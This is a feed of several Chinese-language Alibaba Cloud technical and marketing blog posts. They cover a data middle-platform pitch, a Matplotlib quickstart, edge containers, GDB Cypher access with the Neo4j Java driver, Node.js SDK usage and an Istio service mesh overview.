    如果只是看项目实施,三个关键节点:认知行业、找到痛点,阿里云数据中台方案及交付对接。但事实上,这只是一个开始,最重要的是运营理念的转变,围绕数据中台这一核心做上下相应的调整,使企业达到更好的状态,这个过程是漫长的。

    08对企业是否适合部署数据中台的4个建议。

    一、如果你是大型成功企业,数据中台必须要做,宜早不宜迟。
    二、如果是处于快速发展中的成熟企业,数据中台能为未来发展升级提供强劲推动力。
    三、对于一个刚发展的创新公司,如果要赢在未来的赛道,引领行业发展,建议使用阿里云数据中台。
    四、如果你只是有一个idea,业务发展还未成型时,建议可以带着数据中台的思路去构建企业业务和组织发展,为未来奠定基础。

    09数据中台和业务中台的关系是相互作用。

    业务中台和数据中台的双中台,是相辅相成,缺一不可的。因为业务是数据的来源,而只有数据才能支撑业务正常运转。所以,在数据经过数据中台的汇总处理、重新编排之后,就能够为整个业务提供基本的数据保障。数据中台和业务中台相结合,企业就能够以极小的成本投入,来构建新的前端业务并快速试错。而这正是传统业务模式所没有的优势,能够让需要快速迭代的互联网企业突破瓶颈,实现增长。

    10阿里云数据中台已经形成“中台核心产品+专家咨询服务+生态交付合作“的运作模式。

    建设数据中台是非常复杂的系统化工程,具体拆解这一系统化工程,阿里云数据中台解决方案可以分为三层:首先是核心产品,其次是基于产品构建的方案,最后是实施及运营。
    1)中台核心产品:从2012年开始提数据中台方法论,到2014年把这个方法论在阿里体系之内不断迭代推广,再到2015年全面升级到组织战略层面。如今,阿里内部都通过数据中台一套方法论实现了数据资产化,数据资产价值化。
    现在,阿里巴巴已经可以把这些方法论进一步提炼和抽象成为高度智能化的工具,诸如:Dataphin智能数据构建与管理,面向各行各业大数据建设、管理及应用诉求,可以一站式提供从数据接入到数据消费全链路的智能数据构建与管理的大数据能力,助力企业打造标准统一、融会贯通、资产化、服务化、闭环自优化的智能数据体系,以驱动业务创新。
    又比如Quick BI,它是目前唯一进入Gartner魔力象限ABI领域的中国BI工具,是阿里巴巴数据中台团队基于多年阿里内部数据分析产品和数据化运营经验专为云上用户量身打造的新一代智能BI服务平台。
    2)专家咨询服务:阿里云数据中台解决方案服务中,专家咨询可以视为另一种经验智慧的输出。阿里巴巴发展近20多年的时间内,积累了大量的行业经验和商业智慧。这些经验和能力都会通过专家咨询来透出给需要的企业,从而帮助企业规避风险,少走弯路,最快且有效地建立可以解决业务困境的数据中台模式。
    3)生态交付合作:在数据中台模式中,生态合作就是将集合具有行业深度和业务经验的伙伴们,共同去打造基于行业特性的解决方案,围绕着数据中台提供的产品、技术及服务共同打造一个共荣发展的数据中台生态。

    ]]>
    快速上手Matplotlib | Python 数据可视化库 Matplotlib 快速入门之五 Fri, 02 May 2025 09:39:04 +0800 初识Matplotlib | Python 数据可视化库 Matplotlib 快速入门之四

    实现一个简单的Matplotlib画图

    import matplotlib.pyplot as plt
    %matplotlib inline
    
    plt.figure()
    plt.plot([1, 0, 9], [4, 5, 6])
    plt.show()

    执行结果:

    image.png

    我们来分析一下上述代码:
    import matplotlib.pyplot as plt
    pyplot重命名为plt,导包。
    %matplotlib inline是环境适配。
    plt.figure()创建一个画布
    plt.plot([1, 0, 9], [4, 5, 6]),两个数据参数,以此来画图。

    image.png

    所以数据都一个是横坐标,第二个是纵坐标,以列表形式存在。plot则是将点连成线。

    认识Matplotlib图像结构

    image.png

    我们可以添加标题、图例、网格,可以绘画散点图,折线图等,这些都是可以通过代码进行丰富的。我们之后进行介绍。

    配套视频课程,点击这里查看

    获取更多资源请订阅Python学习站

    ]]>
    连续两年入选Gartner公共云容器报告,阿里云在边缘容器方面做了什么? Fri, 02 May 2025 09:39:04 +0800 最近,Gartner发布了2020年公共云容器报告,阿里云连续两年成为唯一入选的中国企业。报告显示,阿里云容器服务在中国市场表现强劲,产品形态丰富,在 Serverless 容器、服务网格、安全沙箱容器、混合云和边缘等领域,具备良好的技术发展策略。

    图1-1.png

    聚焦于边缘侧,容器和边缘原生的趋势正在逐步蔓延,容器和K8s带来的技术变革也非常适应边缘资源的特点。阿里云在边缘容器方面不断进行技术投入与产品创新,技术发展策略也获得了行业的认可。

    边缘容器的诞生

    在去年6月,阿里云边缘节点服务(ENS)与容器服务ACK融合打通,在业界率先推出边缘容器ACK@Edge, 打造通用的边缘容器云原生基础设施,致力于实现云-边-端一体化协同,通过非侵入增强方式,完美拓展云原生的边界。

    边缘容器ACK@Edge针对边缘及设备进行如访问协议、同步机制、网络兼容、安全机制的种种优化,实现有限资源的充分发挥以及高效管理运维,赋能开发者快速将业务下沉至边缘,更加简单、敏捷地应用边缘计算,降低边缘应用的运维工作量,提升边缘计算业务创新效率。

    边缘容器2.png

    边缘容器的价值

    第一,通过融合计算平台,来实现底层资源的统一管控、调度、运维,这样用户无需关心底层资源及基础设施;
    第二,通过一系列边缘网关来实现,云边、边边协同通信需求,这样用户可以有更多的网络模型,来处理云边、边边以及边端的网络通信;
    第三,通过云中间件下沉边缘,通过提供边缘数据库、边缘消息中间件、边缘流式实时计算引擎,提供给用户更丰富的产品技术能力。
    这样的三层架构,通过云的统一管控、边的能力自治,使用户能更关注自身的业务逻辑,更迅速更易于的构架自己的应用。

    方案具有如下价值:

    1、资源弹性伸缩,按需购买,按量付费
    2、降低运维难度,实时可视化监控,海量节点极简运维,多种上线策略
    3、安全可靠,DDoS清洗及黑洞防护,飞天系统技术沉淀之下的全球领先的故障迁移能力
    4、服务效率,实现一键购买一键部署,通过极简的动态配置来提升效率,降低启动和运维成本

    边缘容器的场景实践

    第一,视频类大带宽业务

    数字化转型大潮下,在线视频/直播这类业务对于资源和宽带需求巨大,这种业务增长成本逐渐增高,另一方面业务对于延时性能的要求提高,传统的云中心架构已经无法满足业务需求,业务对于边缘云的云边一体需求将会呈现爆发趋势。

    边缘容器3.png

    整个最佳实践首先要将部分中心业务的逻辑从整体架构里拆分出来,然后基于容器进行微服务单元改造,接着通过Edge@ACK下发到边缘ENS节点,从而实现云边架构。然而由于边缘云环境与云环境不同,需要进行精简、适配,进一步微服务化,或者引入开源软件产品支持,最后,业务逻辑里注重云边调度的联动,将整体服务的可靠性、稳定性、灾备等逻辑完善,以形成云边端服务闭环。最终,整个项目构建统一的运维面,端到端延迟降低75%,成本节省50%。

    第二,全网广覆盖类业务

    全网广覆盖业务由于其特性,对资源有比较强烈的弹性伸缩的需求,同时对于流量来源有要求,而业务本身的架构比较简单,没有太多的网络协同以及数据中间件的需求,因此是一个很典型的边缘Serverless的场景。
    边缘容器4.png

    用户只需要提供配置模板,镜像以及资源的需求,通过边缘容器来实现资源的申请分配,然后ENS就会提供完整的BaaS能力,包括:节点的维护、安全策略的配置、应用的分发部署、服务的监控运维、故障的迁移。用户可以按需伸缩、按量付费,专注在自己的后台业务逻辑,无需关心底层基础设施的细节及后续运维,同时可以使用到阿里云CDN海量的边缘资源池。

    如何在阿里云使用边缘容器

    第一步,用户需要按需购买边缘计算实例,并创建托管集群。
    第二步,登录ENS控制台
    第三步,选择资源管理 > 实例 > 更多。
    第四步,单击加入容器集群。
    第五步,选择集群并单击确定。
    用户可以在实例页面右上角单击管理容器集群,查看刚加入边缘托管集群的实例。

    了解边缘计算云原生架构解决方案

    为了更好的帮助用户解决边缘业务创新效率低、运维复杂度高、中心和边缘业务协同难等问题,阿里云推出边缘计算云原生架构解决方案,旨在通过云原生架构构建边缘计算(物联网、CDN、混合云等)云边一体化协同基础设施。通过云端托管边缘资源/应用,无缝对接丰富云产品能力,提供边缘计算业务的自动化运维、高可靠性保障,降低边缘应用的运维工作量,提升边缘计算业务创新效率。

    边缘容器5.png

    架构特点:

    • 云端提供完整原生K8s api支持,紧跟社区升级节奏
    • 云管边架构,边缘零管控成本投入
    • 支持接入多种类异构资源
    • 支持边缘无缝对接公共云服务
    • 无缝对接ENS,做边缘集群自动扩容

    如需了解边缘节点服务(ENS)产品与边缘容器使用详情,可以加入ENS产品答疑钉钉群:21740823或者在阿里云官网边缘计算云原生架构解决方案入口进行方案咨询。

    直播预告

    4月9日 14:00-15:00
    阿里云高级技术专家张毅萍做客VideoX学院
    分享《边缘计算云网一体化融合与挑战》议题
    干货满满,欢迎大家扫码下图二维码报名直播

    IMG_7014.JPG

    ]]>
    GDB Cypher:Cypher用户的最佳选择 Fri, 02 May 2025 09:39:04 +0800 Neo4J 是DB-Engines图数据领域长期排名第一的数据库产品,目前有社区版和企业版两个版本:

    • 社区版:单实例、无容灾、不支持热备、缺乏技术支撑
    • 企业版:高性能、可扩展、高可用、多种安全级别、数据完整性、完全托管、丰富的监控&审计

    企业版目前最便宜的4Core单实例一年价格将近30万,高昂的价格让国内中小企业望而却步。目前国内大部分用户都选择社区版并在上面做定制开发,这需要企业投入额外人力成本进行图数据自管理和运营。下面是Neo4j企业版和Gdb云产品不同规格的价格对比:
    1.png

    兼容性

    既然想要接入Gdb,那么Gdb目前Cypher支持到什么程度了?是否可以满足业务的使用需求?
    目前Gdb Cypher只支持bolt-v3协议;数据类型上目前支持Temporal外所有的数据类型,子句上基本支持所有常用的子句,函数上除过一些算数方法外基本也支持所有常用的函数,Procedure目前只支持少量的场景;Gdb相比Neo4j 4.0的差异主要提现在多图、索引、导入导出、可视化等方面;Sessions目前支持常见的同步异步两种模式。

    数据类型

    2.png

    子句/函数

    3.png

    Neo4j差异性

    4.png

    接入方式

    业务觉得目前支持的Cypher场景已经足够接入,那么想接入Gdb,该怎么接入呢?

    数据导入

    假定数据可以在Neo4j社区版中,首先利用apoc导出为graphml格式,其次利用GraphML2CSV转为CSV格式,然后将CSV文件上传到OSS中,最后通过Gdb命令将OSS文件导入到Gdb中。
    5.png

    存量数据已经导入到Gdb中了,怎么插入新的数据?怎么查询存储数据?这里就需要通过客户端Driver来接入了。
    官方4.0版本目前提供包括 Java, .Net, JavaScript三种接入形式,另外Go, Python正在开发中。 Gdb目前主要支持Java、 .Net两个版本。以Java Driver为例,目前按业务需求可以支持两种接入形态:

    Java Driver

    • 依赖

    <dependency>
        <groupId>org.neo4j.driver</groupId>
        <artifactId>neo4j-java-driver</artifactId>
        <version>4.0.0</version>
    </dependency>

    • 初始化

    public Demo() {
        String uri = "bolt://server-domain:server-port";
        String username = "your-gdb-username";
        String password = "your-gdb-password"
        Logging logging = new ConsoleLogging(FINE);
        Config config = Config.builder()
            .withLogging(logging)
            .withMaxConnectionLifetime(30, TimeUnit.MINUTES)
            .withMaxConnectionPoolSize(50)
            .withConnectionAcquisitionTimeout(2, TimeUnit.MINUTES)
            .build();
        private  Driver driver = GraphDatabase.driver(uri, 
             AuthTokens.basic(username, password), config);
    }

    • Simple Sessions

    public void simpleSessions(final String dsl, final Map<String, Object> args) {
        try (Session session = driver.session()) {
            ///1. Transaction functions
            session.writeTransaction(tx -> {
                StringBuilder buffer = new StringBuilder();
                Result result = tx.run(dsl, args);
                result.stream().forEach(t -> 
                    System.out.println(output(t)));
                return buffer.toString();
            });
            ///2. Auto-commit Transactions tested
            {
                Result result = session.run(dsl, args);
                result.stream().forEach(t -> 
                    System.out.println(output(t)));
            }
        }
    }

    • Async Sessions

    public void asyncSample(final String dsl, final Map<String, Object> args) {
        AsyncSession session = driver.asyncSession();
        ///1.  Transaction functions
        session.readTransactionAsync(tx ->
            tx.runAsync(dsl, args)
                .thenCompose(cursor -> cursor.forEachAsync(record ->
                    System.out.println("asyncTransactionFuctions - " + record.get(0))))
        );
        ///2. Auto-commit Transactions tested
        session.runAsync(dsl, args)
            .thenCompose(cursor -> cursor.forEachAsync(record ->
                System.out.println("asyncAutoTransactions - " + record.get(0))));
    }
    Spring Data Neo4j
    • 依赖
    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-data-neo4j</artifactId>
    </dependency>

    • 配置环境
    修改src/main/resources/application.properties文件,配置域名、用户名、密码

    • 测试
    这里提供了一个Movie-Actor的Sample可以作为学习教程
    恭喜您!到了这里,您已经可以顺利将Cypher数据导入Gdb,并根据业务具体场景进行简单的添加、查询、更新、删除了。可能使用中会碰到一些小的困惑,下面的Tips或许可以提供一些帮助:

    最佳实践

    • 参数化
    用户请求基本上一般只有几种场景,参数化把每种类型的翻译结果进行缓存,从而加速语句的执行时解析,比如

    • Parameters:
    {
      "name" : "Michael"
    }

    • Query:

    MATCH (n:Person)
    WHERE n.name STARTS WITH $name
    RETURN n.name

    • 设置线程池的大小
    在初始化Neo4j的Driver时,需要配置MaxConnectionPoolSize、ConnectionTimeout、MaxConnectionLifetime等参数,这样能充分利用线程池、并且控制连接的生命周期,更多的配置参考这里

    • 删除时限制大小
    由于Gdb对事务Buffer的大小限制为64M,如果一次删除的数据量过大可能导致事务无法成功,建议通过LIMIT限制数据集

    MATCH (n) LIMIT 1024 DETACH DELETE n;

    • 关于Bolt协议
    目前Neo4j 4.0最新的Bolt协议为V4,Gdb Server目前提供的最低版本为Bolt V3,建议Java driver使用版本为:4.0.0或者2.0.0-alpha01。

    参考

    1. Neo4j企业版能力
    2. Neo4j企业版价格
    3, Neo4j Cypher Manual 4.0
    4. Neo4j Driver列表

    ]]>
    Node.js SDK 核心库安装与调用 Fri, 02 May 2025 09:39:04 +0800 hbbdxien.jpg
    镜像下载、域名解析、时间同步请点击 阿里巴巴开源镜像站

    一、环境准备

    • 使用阿里云Node.js SDK,您需要一个RAM账号以及一对AccessKey ID和AccessKey Secret。 请在阿里云控制台中的AccessKey管理页面上创建和查看您的AccessKey,或联系您的系统管理员。
    • 使用阿里云SDK调用某个产品的API前,确保您已经在阿里云控制台开通了该产品。
    • 阿里云Node.js SDK适用于Node.js最近两个LTS版本(Node.js 8.x和Node.js 10.x)。您可以通过执行命令node -v查看Node.js的版本。

    二、在线调试和生成SDK示例

    OpenAPI Explorer提供在线调用云产品API、动态生成SDK示例代码和快速检索接口等功能,能显著降低使用API的难度,推荐使用。

    三、安装阿里云Node.js SDK

    完成以下操作安装Node.js SDK:

    1、从GitHub下载所需产品的SDK。
    2、安装Node.js SDK。建议您使用npm来完成Node.js依赖模块的安装,所有阿里云官方的Node.js SDK都位于@alicloud下。假设Node.js SDK下载后的路径为/path/to/aliyun-openapi-Node.js-sdk

    • 当基于SDK核心库进行开发时,请执行以下命令,安装@alicloud/pop-core模块。命令中的--save会将模块写入应用的package.json文件中,作为依赖模块。
    $ npm install @alicloud/pop-core --save
    • 当基于具体云产品的SDK进行开发时,需安装该云产品的模块。本文以安装MNS产品的模块为例。
    $ npm install @alicloud/mns --save

    四、调用示例

    • RPC API调用
    var RPCClient = require('@alicloud/pop-core').RPCClient;
    var client = new RPCClient({
      accessKeyId: '<accessKeyId>',
      secretAccessKey: '<secretAccessKey>',
      endpoint: '<endpoint>',
      apiVersion: '<apiVersion>'
    });
    // => returns Promise
    client.request(action, params, options);
    • REST API调用
    var ROAClient = require('@alicloud/pop-core').ROAClient;
    var client = new ROAClient({
      accessKeyId: '<accessKeyId>',
      accessKeySecret: '<secretAccessKey>',
      endpoint: '<endpoint>',
      apiVersion: '<apiVersion>'
    });
    // => returns Promise
    // request(HTTPMethod, uriPath, queries, body, headers, options);
    // options => {timeout}
    client.request('GET', '/regions');
    • 当使用具体的云产品SDK时,请参考以下示例进行调用:
    // 引入SDK
    const Client = require('@alicloud/oam');
    // 创建实例
    const client = new Client({
      accessKeyId: '<ACCESS_KEY_ID>',
      secretAccessKey: '<ACCESS_KEY_SECRET>',
      securityToken: '', // 支持STS
      endpoint: 'ENDPOINT'
    });
    // 发起调用
    // 具体API,返回Promise
    client.addRoleCellToRole({
      RoleName: "role1",
      Resource: "*:*:*:*",
      ActionList: ["Read", "Write"],
      GrantOption: 0
    }, {timeout: 10000});

    阿里巴巴开源镜像站 提供全面,高效和稳定的系统镜像、应用软件下载、域名解析和时间同步服务。”

    ]]>
    阿里云专家详解 2020 服务网格发展趋势 Fri, 02 May 2025 09:39:04 +0800 4.7头图.png

    作者 | 王夕宁  阿里巴巴高级技术专家

    关注“阿里巴巴云原生”公众号,参与文末留言互动,即有机会获得赠书福利!

    本文摘自于由阿里云高级技术专家王夕宁撰写的《Istio 服务网格技术解析与实践》一书,文章从基础概念入手,介绍了什么是服务网格及 Istio,针对 2020 服务网格的三大发展趋势,体系化、全方位地介绍了 Istio 服务网格的相关知识。你只需开心参与公众号文末互动,我们负责买单!技术人必备书籍《Istio 服务网格技术解析与实践》免费领~

    外文指出,2020 年 Service Mesh 技术将有以下三大发展:

    • 快速增长的服务网格需求;
    • Istio
      很难被打败,很可能成为服务网格技术的事实标准;
    • 出现更多的服务网格用例,WebAssembly 将带来新的可能。

    什么是服务网格

    Gartner 2018 关于服务网格技术趋势分析报告,展示了一系列的服务网格技术,划分服务网格技术的依据是基于应用服务代码是否必须对其服务网格感知及其是否锁定,或锁定的程度。

    基于编程框架的网格技术可以帮助开发人员构建一个架构体系良好的服务,但这会导致应用代码与框架和运行时环境的紧密耦合。而基于 Sidecar 代理的服务网格技术不会为开发人员设置这些障碍,并且使其管理和维护更加轻松,能够提供更灵活的方法来配置运行时策略。

    1.png

    在微服务环境中,可将单一应用程序分解为独立的多个组件,并作为分布式服务进行部署,这些服务通常是无状态的、短暂的、动态可扩展的,运行在容器编排系统(如 Kubernetes)中。

    服务网格一般由控制平面和数据平面组成。具体来说,控制平面是一组在一个专用的命名空间中运行的服务。这些服务完成一些控制管理的功能,包括聚合遥测数据、提供面向用户的 API、向数据平面代理提供控制数据等。而数据平面则是由一系列运行在每个服务实例旁边的透明代理构成。这些代理自动处理进出服务的所有流量,因为它们是透明的,所以这些代理充当了一个进程外网络堆栈,向控制平面发送遥测数据并从控制平面接收控制信号。

    2.png

    服务实例可以根据需要进行启动、停止、销毁、重建或替换。因此,这些服务需要一个通信中间件来支持服务的动态发现和自我修复连接能力,从而使得这些服务之间能够以安全、动态和可靠的方式相互通信,这就是服务网格所支持的功能。

    服务网格是一个专用的基础设施层,使服务到服务之间的通信更加安全、快速、可靠。如果你正在构建云原生应用程序,则需要服务网格。在过去的一年中,服务网格已成为云原生程序的关键组件,它通过包含现代云原生应用程序的复杂服务拓扑来可靠地传递请求。实际上,服务网格通常实现为轻量级网络代理的组合,这些代理与应用程序代码一起部署,不需要知道应用程序是什么。

    服务网格作为单独层的概念与云原生应用程序的兴起有关。在云原生模型中,单个应用程序可能包含数百个服务,每个服务可能有数千个实例,并且每个实例可能处于不断变化的状态。这也是为什么像 Kubernetes 这样的协调器日益流行和必要的原因所在。这些服务之间的通信不仅变得越来越复杂,而且也是运行时环境中最为常见的一部分,因此管理这些服务之间的通信对于确保端到端的性能和可靠性至关重要。

    3.png

    服务网格是一种网络模型,位于 TCP/IP 之上的抽象层。它假定底层的三四层网络存在并且能够从一点到另一点传送字节。它还假设该网络与环境的其他方面一样不可靠,因此服务网络也必须能够处理网络故障。在某些方面,服务网格类似于 TCP/IP。正如 TCP 协议栈抽象了在网络端点之间可靠地传递字节的机制一样,服务网格抽象了在服务之间可靠地传递请求的机制。与 TCP 一样,服务网格不关心实际有效负载或其编码方式,只负责完成从服务 A 发送到服务B,并且在处理任何故障的同时实现这一目标。但是,与 TCP 不同的是,服务网格不仅仅具备“使其工作”的能力,还提供了一个统一的应用程序控制点,用于将可见性和控制引入应用程序运行时。服务网格的明确目标是将服务通信从不可见的基础设施领域移出,并转变为生态系统的一部分,可以对其进行监控、管理和控制。

    在云原生应用程序中,保证请求具备完整的可靠性并非易事。服务网络通过各种强大的技术来管理这种复杂性,支持熔断、延迟感知的负载均衡、最终一致性的服务发现、重试与超时等机制来尽可能保证可靠性。这些功能必须全部协同工作,并且与其运行的复杂环境之间的相互作用也非常重要。

    例如,当通过一个服务网格向服务发出请求时,其交互过程可以大致简化为如下步骤:

    • 服务网格组件通过应用动态路由规则来确定请求者想要的服务。请求应该路由到生产还是预发布的服务?是路由到本地数据中心还是云中的服务?是需要灰度到正在测试的服务的最新版本,还是仍然路由到在生产中经过验证的旧版本?所有这些路由规则都是动态可配置的,并且可以全局应用,也可以应用于任意流量片段;
    • 找到正确的目的地后,服务网格组件从相关的服务发现端点检索相应的实例池,可能有多个实例。如果这些信息与服务网格组件在实践中观察到的信息不同,那么它会决定要信任哪些信息来源;
    • 服务网格组件根据各种因素选择最有可能返回快速响应的实例,包括观察到的最近请求的延迟数据;
    • 服务网格组件尝试将请求发送到选择的实例,记录响应结果的延迟和响应类型;
    • 如果实例已经由于各种原因宕机,或者请求根本没有响应,或者由于其他任何原因而无法处理请求,服务网格组件则会根据需要在另一个实例上重试该请求,前提是它知道请求是幂等的;
    • 如果实例始终返回错误,服务网格组件会将其从负载均衡池中逐出,以便稍后定期重试。这种情况在互联网分布式应用中非常常见,公共网络中的实例非常有可能由于某些原因导致瞬间故障;
    • 如果请求的超时点已过,服务网格组件则会主动使请求失败,而不是通过进一步重试来添加负载,以防雪崩发生。这一点对于互联网分布式应用至关重要,否则一个小故障极有可能会引起雪崩式灾难;
    • 与此同时,服务网格组件以度量指标和分布式跟踪的形式捕获上述行为的各个方面,并将这些数据发送到集中式的度量系统或者链路跟踪系统。

    4.png

    值得注意的是,这些功能都是在为分布式应用提供逐点弹性和应用程序范围的弹性能力。大规模分布式系统(无论如何构建)都有一个明确的特征:任何小型本地化故障都有可能升级为系统范围的灾难性故障。服务网格必须设计成在基础系统接近其极限时通过减少负载和快速失败来防止这些故障升级。

    为什么服务网格是必要的

    服务网格本身并不是一个新功能,更像是功能所在位置的转变。Web 应用程序始终必须管理服务通信的复杂性。在过去的十五年中,服务网格模型的起源可以追溯到这些应用程序的演变过程。

    在本世纪初,中型 Web 应用程序的典型架构常见的是三层应用程序架构,分为应用程序逻辑层、Web 服务逻辑层和存储逻辑层,都是单独的层。层之间的通信虽然复杂,但范围有限。这个时候的应用架构并没有网格,但是在每个层的代码处理逻辑之间存在通信逻辑。

    当网络发展到非常高规模时,这种架构方法开始变得捉襟见肘。特别是一些大型互联网公司,都面临着巨大的流量需求,实现了有效的云原生方法的前身:应用层被分成许多服务,也就是现在通常所知的“微服务”,层之间形成拓扑的通信方式。在这些系统中,通常采用“胖客户端”库的形式,也就是前面讲述过的类似于 Netflix 的 OSS 库,Hystrix 的熔断能力就是很好的例证。这些代码库虽然与特定的环境相关,并且需要使用特定的语言和框架,但它们是用于管理服务之间通信的形式与能力,在当时的情况下是不错的选择,而且也在众多公司里被使用。

    进入云原生时代之后,云原生模型有两个重要因素:

    • 容器(例如 Docker)提供资源隔离和依赖管理;
    • 编排层(例如 Kubernetes)将底层硬件抽象为同质的资源池。

    尽管这些代码库组件在一定程度上允许应用程序具备一定的负载扩展能力,并处理云环境中始终存在的部分故障,但是,随着数百个服务或数千个实例的增加,以及存在不时重新调度实例的业务流程层,单个请求通过服务拓扑所遵循的路径可能非常复杂。同时随着容器技术的普及,且容器使每个服务都易于用另一种语言编写运行,程序库式方法在此时此刻就变得捉襟见肘了。

    这种复杂性和关键性的诉求,使得应用越来越需要一个服务间通信的专用层,该专用层与应用程序代码分离并且能够捕获底层环境的高度动态弹性能力。该层就是我们需要的服务网格。

    服务代理可以帮助我们在云环境服务架构中添加重要功能。每个应用程序都可以拥有自己的要求或配置,以了解代理在给定其工作负载目标时的行为方式。随着应用程序和服务越来越多,配置和管理大量代理可能非常困难。此外,在每个应用程序实例中使用这些代理可以为构建丰富的高级功能提供机会,否则我们将不得不在应用程序本身执行这些功能。

    服务代理形成一个网状的数据平面,通过该数据平面处理和观察所有服务间的流量。数据平面负责建立、保护和控制通过网格的流量。负责数据平面如何执行的管理组件称为控制平面。控制平面是网格的大脑,并为网格使用人员提供公开 API,以便操纵网络行为。

    Istio 服务网格

    Istio 是一个用于连接/管理以及安全化微服务的开放平台,提供了一种简单的方式用于创建微服务网格,并提供负载均衡、服务间认证以及监控等能力,关键的一点是并不需要修改太多服务就可以实现上述功能。Istio 本身是一个开源项目,它提供了一致的方式用于连接、加固、管理和监控微服务,最初是由 Google、IBM 和 Lyft 创建的服务网络的开源实现。Istio 可以帮助你以透明的方式为服务架构添加弹性和可观察性能力。使用 Istio,应用程序不必知道它们是服务网格的一部分。每当应用程序与外界交互时,Istio 将代表应用程序处理网络流量。这意味着如果你正在做微服务,Istio 可以带来很多好处。

    Istio 主要提供以下功能:

    • 流量管理,控制服务之间调用的流量和API调用,使得调用更可靠,并使网络在恶劣情况下更加健壮;
    • 可观测性,获取服务之间的依赖,以及服务调用的流量走向,从而提供快速识别问题的能力;
    • 策略执行,控制服务的访问策略,不需要改动服务本身。

    服务身份和安全,为网格中的服务提供可验证身份,并提供保护服务流量的能力,使其可以在不同可信度的网络上流转。

    Istio 第一个生产可用版本 1.0 于 2018 年 7 月 31 日正式发布,并于 2019 年 3 月发布版本 1.1。之后,社区按照快速迭代的方式,在三个月内接连发布了 10 个小版本。截至本书完稿之际,社区已经发布了 1.4 版本。

    Istio 的数据平面默认使用 Envoy 代理,开箱即用,可帮助你配置应用程序以在其旁边部署服务代理的实例。Istio 的控制平面由一些组件组成,这些组件为最终用户和运维人员提供运维 API、代理的配置 API、安全设置、策略声明以及其他更多功能。我们将在本书的后续部分介绍这些控制平面组件。

    Istio 最初是为在 Kubernetes 上运行而构建的,但却是从部署平台中立的角度实现代码的。这意味着你可以在 Kubernetes、OpenShift、Mesos 和 Cloud Foundry 等部署平台上利用基于 Istio 的服务网格,甚至可以在虚拟机、物理裸机上部署 Istio 环境。在后面的章节中,我们将展示 Istio 对于包括私有数据中心在内的云组合的混合部署来说有多强大。在本书中,我们将优先考虑在 Kubernetes 上进行部署,在后面更高级的章节中会引入虚拟机等环节。

    Istio 在希腊语中的意思是“启航”,而 Kubernetes 在希腊语中可以翻译为“舵手”或“驾驶员”。所以从一开始 Istio 就期望与 Kubernetes 很好地配合,高效地运行分布式微服务架构,并提供安全、连接和监控微服务的统一方法。

    通过每个应用程序实例旁边的服务代理,应用程序不再需要具有特定于语言的弹性库来实现熔断、超时、重试、服务发现、负载均衡等功能。此外,服务代理还处理度量标准收集、分布式跟踪和日志收集等。

    由于服务网格中的流量流经 Istio 服务代理,因此 Istio 在每个应用程序中都有控制点来影响和指导其网络行为。这允许服务运维人员可以控制路由流量,并通过金丝雀部署、暗启动(Dark Launch)、分级滚动和 A/B 测试来实现细粒度部署。我们将在后面的章节中探讨这些功能。

    核心功能

    Istio 在服务网络中统一提供了许多关键功能,主要包括流量管理、安全、可观测性、平台支持、集成和定制五个部分。

    1.流量管理

    通过简单的规则配置和流量路由,Istio 可以控制服务之间的流量和 API 调用。Istio 简化了熔断器、超时和重试等服务级别属性的配置,并且可以轻松设置 A/B 测试、金丝雀部署和基于百分比的流量分割的分阶段部署等重要任务。

    Istio 有开箱即用的故障恢复功能,你可以在问题出现之前先发现问题,通过优化使服务之间的调用更加可靠。

    2.安全

    Istio 具备强大的安全功能,使开发人员可以专注于应用程序级别的安全性。Istio 提供底层安全通信信道,并大规模管理服务通信的认证、授权和加密。使用 Istio,服务通信在默认情况下是安全的,允许跨多种协议和运行时一致地实施策略,而关键的是所有这些都很少或根本不需要应用程序更改。

    虽然 Istio 与平台无关,但将其与 Kubernetes 网络策略一起使用时,其优势更大,包括在网络和应用层保护 pod-to-pod 或服务到服务通信的能力。后续章节中会讲述如何在 Kubernetes 中结合网络策略与 Istio 来共同保护服务。

    3.可观测性

    Istio 具备强大的追踪、监控和日志记录能力,可让你深入了解服务网格部署。通过 Istio 的监控功能,可以真正了解服务性能如何影响上游和下游的功能,而其自定义的仪表板可以提供对所有服务性能的可视性,并让你了解该性能如何影响其他进程。

    Istio 的 Mixer 组件负责策略控制和遥测收集,提供后端抽象和中介,将 Istio 的其余部分与各个后端基础设施的实现细节隔离开来,并为运维人员提供对网格和后端基础设施之间所有交互的细粒度控制。

    所有这些功能可以让你更有效地设置、监控和实施服务上的服务等级目标 SLO。当然,最重要的是可以快速有效地检测和修复问题。

    4.平台支持

    Istio 是独立于平台的,目标是可以在各种环境中运行,包括跨云、内部部署、Kubernetes、Mesos 等。你可以在 Kubernetes 上部署 Istio 或在具有 Consul 的 Nomad 上部署。Istio 目前支持:

    • 在 Kubernetes 上部署的服务;
    • 使用 Consul 注册的服务;
    • 在各个虚拟机上运行的服务。

    5.集成和定制

    可以扩展和自定义 Istio 的策略实施组件,以与现有的 ACL、日志记录、监控、配额、审计等解决方案集成。

    此外,从版本 1.0 开始,Istio 支持基于 MCP(Mesh Conf?iguration Protocol,网格配置协议)进行配置分发。通过使用 MCP,可以很容易地集成外部系统,例如可以自己实现 MCP 服务器,然后将其集成到 Istio 中。MCP 服务器可以提供以下两个主要功能:

    • 连接并监控外部服务注册系统,以获取最新的服务信息(例如 Eureka、ZooKeeper 等系统);
    • 将外部服务信息转换为 Istio
      ServiceEntry 并通过 MCP 资源发布。

    为什么要使用 Istio

    在从单体应用程序向分布式微服务架构的转型过程中,开发人员和运维人员面临诸多挑战,使用 Istio 可以解决这些问题。随着规模和复杂性的增长,服务网格越来越难以理解和管理,各种需求包括服务发现、负载均衡、故障恢复、指标收集和监控以及更加复杂的运维,例如 A/B 测试、金丝雀发布、限流、访问控制和端到端认证等。Istio 提供了一个完整的解决方案,通过为整个服务网格提供行为洞察和操作控制来满足微服务应用程序的多样化需求。

    Istio 提供一种简单的方式来为已部署的服务建立网络,该网络具有负载均衡、服务间认证、监控等功能,只需要对服务的代码进行一点改动或不需要做任何改动。想要让服务支持 Istio,只需要在你的环境中部署一个特殊的 Sidecar 代理,使用 Istio 控制平面来配置和管理代理,拦截微服务之间的所有网络通信。

